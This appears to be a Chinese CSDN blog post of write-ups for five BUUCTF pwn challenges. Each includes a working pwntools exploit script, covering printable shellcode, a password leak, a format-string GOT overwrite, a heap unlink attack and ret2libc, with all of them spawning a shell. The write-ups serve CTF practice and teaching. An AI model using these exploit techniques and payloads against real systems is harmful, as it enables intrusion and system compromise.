BUUCTF pwn wp 86 - 90

已于 2022-02-15 14:23:25 修改
阅读量618 收藏
点赞数
分类专栏： PWN 文章标签： pwn
于 2022-01-17 17:24:24 首次发布
版权声明：本文为博主原创文章，遵循 CC 4.0 BY-SA 版权协议，转载请附上原文出处链接和本声明。
本文链接：https://blog.csdn.net/qq_33976344/article/details/122492302
版权

mrctf2020_shellcode_revenge

在这里插入图片描述

一道经典题目, 可见字符shellcode. F5失败直接读汇编

; Attributes: bp-based frame

; int __cdecl main(int argc, const char **argv, const char **envp)
public main
main proc near

buf= byte ptr -410h
var_8= dword ptr -8
var_4= dword ptr -4

; __unwind {
push    rbp
mov     rbp, rsp
sub     rsp, 410h
mov     edx, 14h        ; n
lea     rsi, aShowMeYourMagi ; "Show me your magic!\n"
mov     edi, 1          ; fd
mov     eax, 0
call    _write
lea     rax, [rbp+buf]
mov     edx, 400h       ; nbytes
mov     rsi, rax        ; buf
mov     edi, 0          ; fd
mov     eax, 0
call    _read
mov     [rbp+var_8], eax
cmp     [rbp+var_8], 0
jg      short loc_11AC

400bytes读进buf里

在这里插入图片描述

在这里插入图片描述

lea     rax, [rbp+buf]
call    rax
mov     eax, 0

会检查shellcode是否有不可见字符, 如果有则会"I Can't Read This!", 如果全部通过检测, 则执行buf的内容
这个题要亲自写shellcode可能会比较有挑战性, 所以面向搜索引擎找shellcode, 发现可以使用
https://github.com/SkyLined/alpha3
转换shellcode为printable

from pwn import *
from LibcSearcher import *

url, port = "node4.buuoj.cn", 25881 
filename = "./mrctf2020_shellcode_revenge"
elf = ELF(filename)
# libc = ELF("./")
context(arch="amd64", os="linux")
# context(arch="i386", os="linux")

local = 0
if local:
    context.log_level = "debug"
    io = process(filename)
    # context.terminal = ['tmux', 'splitw', '-h']
    # gdb.attach(io)
else:
    io = remote(url, port)

def B():
    gdb.attach(io)
    pause()

def pwn():
    # shellcode = asm(shellcraft.sh())
    # with open('sc.bin', 'wb') as f:
    #     print(shellcode, file=f)
    shellcode = 'Ph0666TY1131Xh333311k13XjiV11Hc1ZXYf1TqIHf9kDqW02DqX0D1Hu3M2G0Z2o4H0u0P160Z0g7O0Z0C100y5O3G020B2n060N4q0n2t0B0001010H3S2y0Y0O0n0z01340d2F4y8P115l1n0J0h0a070t'
    io.send(shellcode)


if __name__ == "__main__":
    pwn()
    io.interactive()

picoctf_2018_leak_me

在这里插入图片描述

int __cdecl main(int argc, const char **argv, const char **envp)
{
  char s1[64]; // [esp+0h] [ebp-194h] BYREF
  char v5[256]; // [esp+40h] [ebp-154h] BYREF
  char s[64]; // [esp+140h] [ebp-54h] BYREF
  FILE *stream; // [esp+180h] [ebp-14h]
  char *v8; // [esp+184h] [ebp-10h]
  __gid_t v9; // [esp+188h] [ebp-Ch]
  int *p_argc; // [esp+18Ch] [ebp-8h]

  p_argc = &argc;
  setvbuf(stdout, 0, 2, 0);
  v9 = getegid();
  setresgid(v9, v9, v9);
  memset(s, 0, sizeof(s));
  memset(v5, 0, sizeof(v5));
  memset(s1, 0, sizeof(s1));
  puts("What is your name?");
  fgets(v5, 256, stdin);
  v8 = strchr(v5, 10);
  if ( v8 )
    *v8 = 0;
  strcat(v5, ",\nPlease Enter the Password.");
  stream = fopen("password.txt", "r");
  if ( !stream )
  {
    puts(
      "Password File is Missing. Problem is Misconfigured, please contact an Admin if you are running this on the shell server.");
    exit(0);
  }
  fgets(s, 64, stream);
  printf("Hello ");
  puts(v5);
  fgets(s1, 64, stdin);
  v5[0] = 0;
  if ( !strcmp(s1, s) )
    flag(p_argc);
  else
    puts("Incorrect Password!");
  return 0;
}

输入256字节不要带截止符, puts(v5)泄露password, 没了

from pwn import *
from LibcSearcher import *

url, port = "node4.buuoj.cn", 26016
filename = "./PicoCTF_2018_leak-me"
elf = ELF(filename)
# libc = ELF("./")
# context(arch="amd64", os="linux")
context(arch="i386", os="linux")

local = 0
if local:
    context.log_level = "debug"
    io = process(filename)
    # context.terminal = ['tmux', 'splitw', '-h']
    # gdb.attach(io)
else:
    context.log_level = "debug"
    io = remote(url, port)

def B():
    gdb.attach(io)
    pause()

def pwn():
    # payload = cyclic(256)
    payload = cyclic(4) 
    io.sendlineafter('What is your name?\n', payload)
    io.sendlineafter('Please Enter the Password.\n', 'a_reAllY_s3cuRe_p4s$word_f85406')
    # sleep(1)


if __name__ == "__main__":
    pwn()
    io.interactive()

在这里插入图片描述

inndy_echo

在这里插入图片描述

int __cdecl __noreturn main(int argc, const char **argv, const char **envp)
{
  char s[256]; // [esp+Ch] [ebp-10Ch] BYREF
  unsigned int v4; // [esp+10Ch] [ebp-Ch]

  v4 = __readgsdword(0x14u);
  setvbuf(stdin, 0, 2, 0);
  setvbuf(stdout, 0, 2, 0);
  do
  {
    fgets(s, 256, stdin);
    printf(s);
  }
  while ( strcmp(s, "exit\n") );
  system("echo Goodbye");
  exit(0);
}

格式化漏洞

在这里插入图片描述

Partial RELRO, 任意地址写打got表

from pwn import *
from LibcSearcher import *

url, port = "node4.buuoj.cn", 27593
filename = "./echo"
elf = ELF(filename)
# libc = ELF("./")
# context(arch="amd64", os="linux")
context(arch="i386", os="linux")

local = 0
if local:
    context.log_level = "debug"
    io = process(filename)
    # context.terminal = ['tmux', 'splitw', '-h']
    # gdb.attach(io)
else:
    io = remote(url, port)

def B():
    gdb.attach(io)
    pause()

def pwn():
    printf_got = elf.got['printf']
    system_plt = elf.plt['system']
    print(hex(printf_got), hex(system_plt))
    chars_cnt_high = system_plt >> 16
    chars_cnt_low = (system_plt & 0xFFFF) - chars_cnt_high
    print(hex(chars_cnt_high), hex(chars_cnt_low))
    payload = '%{}c'.format(chars_cnt_high).encode() + '%19$hn'.encode() 
    payload += '%{}c'.format(chars_cnt_low).encode() + '%20$hn'.encode()
    payload = payload.ljust(0x30, b'z')
    payload += p32(printf_got + 2) + p32(printf_got)
    # payload = fmtstr_payload(7,{printf_got:system_plt})
    print(payload, len(payload))
    io.sendline(payload)
    sleep(0.1)
    io.sendline(';/bin/sh\x00')
    # B()

if __name__ == "__main__":
    pwn()
    io.interactive()

小结
太久没写exp, 有点生疏了, 注意符号的优先级
错误写法

chars_cnt_low = system_plt & 0xFFFF - chars_cnt_high

正确写法

chars_cnt_low = (system_plt & 0xFFFF) - chars_cnt_high

hitcontraining_unlink

在这里插入图片描述

int __cdecl main(int argc, const char **argv, const char **envp)
{
  void (**v4)(void); // [rsp+8h] [rbp-18h]
  char buf[8]; // [rsp+10h] [rbp-10h] BYREF
  unsigned __int64 v6; // [rsp+18h] [rbp-8h]

  v6 = __readfsqword(0x28u);
  setvbuf(stdout, 0LL, 2, 0LL);
  setvbuf(stdin, 0LL, 2, 0LL);
  v4 = (void (**)(void))malloc(0x10uLL);
  *v4 = (void (*)(void))hello_message;
  v4[1] = (void (*)(void))goodbye_message;
  (*v4)();
  while ( 1 )
  {
    menu();
    read(0, buf, 8uLL);
    switch ( atoi(buf) )
    {
      case 1:
        show_item();
        break;
      case 2:
        add_item();
        break;
      case 3:
        change_item();
        break;
      case 4:
        remove_item();
        break;
      case 5:
        v4[1]();
        exit(0);
      default:
        puts("invaild choice!!!");
        break;
    }
  }
}

看到函数列表有个magic函数

void __noreturn magic()
{
  int fd; // [rsp+Ch] [rbp-74h]
  char buf[104]; // [rsp+10h] [rbp-70h] BYREF
  unsigned __int64 v2; // [rsp+78h] [rbp-8h]

  v2 = __readfsqword(0x28u);
  fd = open("/home/bamboobox/flag", 0);
  read(fd, buf, 0x64uLL);
  close(fd);
  printf("%s", buf);
  exit(0);
}

按BUU的尿性是不会把flag放在/home/bamboobox目录下的, 所以想要劫持执行流到magic函数就不用考虑了

unsigned __int64 change_item()
{
  int v1; // [rsp+4h] [rbp-2Ch]
  int v2; // [rsp+8h] [rbp-28h]
  char buf[16]; // [rsp+10h] [rbp-20h] BYREF
  char nptr[8]; // [rsp+20h] [rbp-10h] BYREF
  unsigned __int64 v5; // [rsp+28h] [rbp-8h]

  v5 = __readfsqword(0x28u);
  if ( num )
  {
    printf("Please enter the index of item:");
    read(0, buf, 8uLL);
    v1 = atoi(buf);
    if ( *((_QWORD *)&unk_6020C8 + 2 * v1) )
    {
      printf("Please enter the length of item name:");
      read(0, nptr, 8uLL);
      v2 = atoi(nptr);
      printf("Please enter the new name of the item:");
      *(_BYTE *)(*((_QWORD *)&unk_6020C8 + 2 * v1) + (int)read(0, *((void **)&unk_6020C8 + 2 * v1), v2)) = 0;
    }
    else
    {
      puts("invaild index");
    }
  }
  else
  {
    puts("No item in the box");
  }
  return __readfsqword(0x28u) ^ v5;
}

这里用unlink打got表, 通过atoi@got泄露libc, 劫持atoi@got到system, 传入"/bin/sh", get shell

在这里插入图片描述
chunk数组首地址 00000000006020C0

unlink会使*ptr = ptr - 0x18, 所以设置ptr = 0x6020C0 - 0x10 + 0x18, 这样unlink之后修改chunk0的内容就可以修改chunk数组本身

在这里插入图片描述

在这里插入图片描述

from pwn import *
# from LibcSearcher import *

url, port = "node4.buuoj.cn", 27262
filename = "./bamboobox"
elf = ELF(filename)
libc = ELF("./libc64-2.23.so")
context(arch="amd64", os="linux")
# context(arch="i386", os="linux")

local = 0
if local:
    context.log_level = "debug"
    io = process(filename)
    # context.terminal = ['tmux', 'splitw', '-h']
    # gdb.attach(io)
else:
    io = remote(url, port)

def B():
    gdb.attach(io)
    pause()

def add(length, name):
	io.sendlineafter(':', '2')
	io.sendlineafter(':', str(length))
	io.sendlineafter(':', name)
 
def edit(idx, length, name):
    io.sendlineafter(':', '3')
    io.sendlineafter(':', str(idx))
    io.sendlineafter(':', str(length))
    io.sendlineafter(':', name)
 
def delete(idx):
    io.sendlineafter(':', '4')
    io.sendlineafter(':', str(idx))
 
def show():
	io.sendlineafter(':', '1')

def pwn():
    add(0x40, 'chunk0')
    add(0x80, 'chunk1')
    add(0x80, 'chunk2')
    # B()
    ptr = 0x6020C8 
    fake_chunk =  p64(0) + p64(0x41)  #fake chunk header
    fake_chunk += p64(ptr-0x18) + p64(ptr-0x10) #fake chunk fd bk
    fake_chunk += cyclic(0x20)
    fake_chunk += p64(0x40) # presize 
    fake_chunk += p64(0x90) # size
    edit(0, 0x80, fake_chunk)
    # B()
    delete(1)  # merge fake chunk then put into unsorted bin
    # B()
    payload = p64(0) * 2
    payload += p64(0x40) + p64(elf.got['atoi']) # change itemlist[0]->ptr to atoi_got
    edit(0, 0x80, payload)
    # B()
    show()
    io.recvuntil('0 : ')
    atoi_addr = u64(io.recv(6).ljust(8, b'\x00'))
    log.info("atoi address: %#x", atoi_addr)
    libc_base = atoi_addr - libc.symbols['atoi']
    system_addr = libc_base + libc.symbols['system']
    edit(0, 8, p64(system_addr))   
    io.sendlineafter('Your choice:', '/bin/sh\x00')


if __name__ == "__main__":
    pwn()
    io.interactive()

axb_2019_brop64

按理说这个题是brop, 不应该给二进制文件的, 给了就是常规ret2libc了
在这里插入图片描述

__int64 repeater()
{
  size_t v1; // rax
  char s[208]; // [rsp+0h] [rbp-D0h] BYREF

  printf("Please tell me:");
  memset(s, 0, 0xC8uLL);
  read(0, s, 0x400uLL);
  if ( !strcmp(s, "If there is a chance,I won't make any mistake!\n") )
  {
    puts("Wish you happy everyday!");
  }
  else
  {
    printf("Repeater:");
    v1 = strlen(s);
    write(1, s, v1);
  }
  return 0LL;
}

ret2libc

from pwn import *
from LibcSearcher import *

url, port = "node4.buuoj.cn", 29821
filename = "./axb_2019_brop64"
elf = ELF(filename)
# libc = ELF("./")
context(arch="amd64", os="linux")
# context(arch="i386", os="linux")

local = 0
if local:
    context.log_level = "debug"
    io = process(filename)
    # context.terminal = ['tmux', 'splitw', '-h']
    # gdb.attach(io)
else:
    io = remote(url, port)

def B():
    gdb.attach(io)
    pause()

def pwn():
    main_addr = 0x4007d6
    puts_plt = elf.plt['puts']
    puts_got = elf.got['puts']
    pop_rdi_addr = 0x400963	

    io.recvuntil('Please tell me:')
    payload = cyclic(0xd0+8) + p64(pop_rdi_addr) 
    payload += p64(puts_got) + p64(puts_plt) + p64(main_addr)
    io.sendline(payload)

    puts_addr = u64(io.recvuntil(b'\x7f')[-6:].ljust(8, b'\x00'))
    success('puts_addr:', hex(puts_addr))

    libc = LibcSearcher('puts', puts_addr)
    libc_base = puts_addr - libc.dump('puts')
    system = libc_base + libc.dump('system')
    binsh = libc_base + libc.dump('str_bin_sh')

    payload = cyclic(0xd8) + p64(pop_rdi_addr) + p64(binsh)
    payload += p64(system) + p64(main_addr)
    io.sendline(payload)


if __name__ == "__main__":
    pwn()
    io.interactive()
fa1c4
关注
  • 0
    点赞
  • 踩
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
专栏目录
学校的简单入门题PWN
EternalBurning的博客
11-09 541
学校的简单入门题PWN0x00 first try0x01 easy_second_try0x02 printf 0x00 first try exeinfo打开看一下，是32位的 看看有没有程序保护，估计是入门题的缘故都没有程序保护： 用32位的ida打开， 要想拿到shell，就得让v6==99，而第11行的read（）明显存在栈溢出，双击变量进入函数的栈界面 容易发现，s字符串的长度...
shellcode 的艺术
2301_77498991的博客
04-28 289
这里总结一下shellcode的各种类型。
pwn刷题num37---栈溢出 + strcpy函数溢出
tbsqigongzi的博客
04-29 785
BUUCTF-PWN-ciscn_2019_ne_5 首先查保护–>看链接类型–>赋予程序可执行权限–>试运行 32位程序，小端序 开启部分RELRO-----got表可写 未开启canary保护-----存在栈溢出 开启NX保护-----堆栈不可执行 未开启PIE-----程序地址为真实地址 动态链接 程序运行后让我们输入密码， ida一下看一下主函数 看来要想进行下面的操作，必须输入password：administrator if ( strcmp(s1, “administr
pwn基础知识笔记
月阴荒的博客
02-20 2318
算是总的开一篇文章，把学到的知识总结一下，之后会重复写到各个文章里面 checksec指令， 用来查询pwn题目的壳和保护，并且能够看到程序的信息 1.Canary保护 参考链接：https://blog.csdn.net/weixin_44540286/article/details/101629735?utm_source=distribute.pc_relevant.none-task Ca...
pwnable.kr-input WP
Casuall的博客
04-17 353
首先连进去运行一下 查看一下源码 #include <stdio.h> #include <stdlib.h> #include <string.h> #include <sys/socket.h> #include <arpa/inet.h> int main(int argc, char* argv[], char* envp[]...
BUUCTF-PWN-[ZJCTF 2019]Login
07-10
BUUCTF-PWN-[ZJCTF 2019]Login
PWN-shellcode-WP- (一)题目文件.rar
03-29
为几道搜集的真题，https://blog.csdn.net/qq_43390703/article/details/105181147中有对他们的详细解答，是学习pwn入门的很好练手和熟悉知识点以及pwn技巧的真题。
mqtt-pwn:MQTT-PWN打算成为IoT Broker渗透测试和安全评估操作的一站式服务
05-02
MQTT-PWN MQTT是一种机器对机器的连接协议，被设计为一种极其轻量级的发布/订阅消息传递，并已被全球数百万个IoT设备广泛使用。 MQTT-PWN打算成为IoT Broker渗透测试和安全评估操作的一站式商店，因为它结合了枚举...
buuctf pwn ubuntu20的自己搭建运行环境
11-15
pwn ubuntu20的自己搭建运行环境具体情参考https://blog.csdn.net/weixin_41748164/article/details/127874334
[BUUCTF-pwn]——mrctf2020_shellcode_revenge(可见字符shellcode)(内涵peak小知识)
Y_peak的博客
03-29 1190
[BUUCTF-pwn]——mrctf2020_shellcode_revenge(可见字符shellcode) 检查了下保护发现NX 没有开，肯定要自己写shellcode呀。 不过这道题，刷新了我的认知。众所周知，手写的shellcode里面肯定有很多不可见字符。第一次碰到可见的shellcode。 看下IDA, 不能反汇编不过问题不大,没事. 个人建议,看汇编的时候,建议看流程图,更加直观 将shellcode写入,那个buf 不过下面肯定大于0呀.rbp + var_8是我们输入字符串的长度.发生转
hnctf-pwn-[week1]
m0_64174759的博客
11-20 1618
hnctf pwn week1 WP，栈溢出，格式化字符串，32位，64位rop,ret2shellcode,可见字符串，格式化字符串
shellcode基本知识（PWN）
weixin_51758733的博客
07-15 828
shellcode基本知识（PWN）
2022CTF培训（六）逆向题目选讲
sky123博客
12-08 1204
分析可知，函数首先调用 sub_4017C0 初始化 v4 数组，之后根据 v4 数组中的内容依次调用 funcs_4018AB 数组中的函数对输入的 1 到 32 字节进行变换。通过改变断点位置可以判断出，该函数表中 sub_B232A0 函数的前一个函数 sub_AD1000 同样存在反调试。必然会触发除零异常，因此会执行 loc_4010BE 处的代码，将局部变量 a0 和 a1 分别异或 dword_41F038 和 dword_41F03C。并用魔改的 tea 对其进行加密。
算法分析：2019_UNCTF一道逆向题目
m0_64973256的博客
03-17 449
一.下载程序得到查壳得到一个64位的elf文件 二.直接拖进IDA进行静态分析 一拖进IDA便看到了main函数中一些关键字符“You are Right”、“flag{.....}” int __cdecl main(int argc, const char **argv, const char **envp) { char s[240]; // [rsp+0h] [rbp-1E0h] BYREF char v5[240]; // [rsp+F0h] [rbp-F0h] BYREF
CTFshow-pwn入门-前置基础pwn13-pwn19
T1ngSh0w的博客
06-17 1880
ctfshow pwn入门-前置基础pwn13-pwn19
一道简单的smc自解密题目
m0_62690279的博客
03-27 1032
一道简单的smc自解密题目 攻防RE_BABYRE 64位elf，拉入ida 打开main函数 int __cdecl main(int argc, const char **argv, const char **envp) { char s[24]; // [rsp+0h] [rbp-20h] BYREF int v5; // [rsp+18h] [rbp-8h] int i; // [rsp+1Ch] [rbp-4h] for ( i = 0; i <= 181; ++i )
攻防世界REVERSE新手题解答
liucc09的博客
11-25 930
csaw2013reversing2 程序分析 使用IDA打开程序，F5键利用HexRay工具生成可读代码如下： int __cdecl __noreturn main(int argc, const char **argv, const char **envp) { int v3; // ecx CHAR *lpMem; // [esp+8h] [ebp-Ch] HANDLE hHeap; // [esp+10h] [ebp-4h] hHeap = HeapCreate(0x40000u
NewStarCTF 2023 WEEK1|PWN ret2text
wp568的博客
10-08 469
main函数，里read函数，分配了32（0x20）个大小 指定了0x100，有栈溢出漏洞。查看起始地址 为4011FB。
BUUCTF pwn rip
最新发布
01-28
根据提供的引用内容，BUUCTF PWN-RIP是一个关于PWN技术的详解文章。文章中提到了64位的EIF文件中rbp寄存器的大小为8个字节。如果对这部分不太理解，可以阅读作者的另一篇关于PWN基础知识的文章。 BUUCTF PWN-RIP详解主要讲解了如何利用RIP寄存器来进行PWN攻击。RIP寄存器是存储下一条指令的地址，通过控制RIP寄存器的值，可以改变程序的执行流程，从而实现攻击的目的。 PWN攻击是一种利用软件漏洞来获取对计算机系统的控制权的攻击方式。在PWN攻击中，攻击者通常会利用程序中的漏洞，通过输入特定的数据来改变程序的执行流程，从而实现攻击的目的。 BUUCTF PWN-RIP详解文章提供了一些示例和技巧，帮助读者理解和掌握PWN攻击中利用RIP寄存器的方法。如果你对PWN攻击感兴趣，可以阅读该文章以获取更多详细信息。

“相关推荐”对你有帮助么？

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

个

红包个数最小为10个

元

红包金额最低5元

当前余额3.43元 前往充值 >
需支付：10.00元
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付元
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明：

1.余额是钱包充值的虚拟货币，按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载，可以购买VIP、付费专栏及课程。

余额充值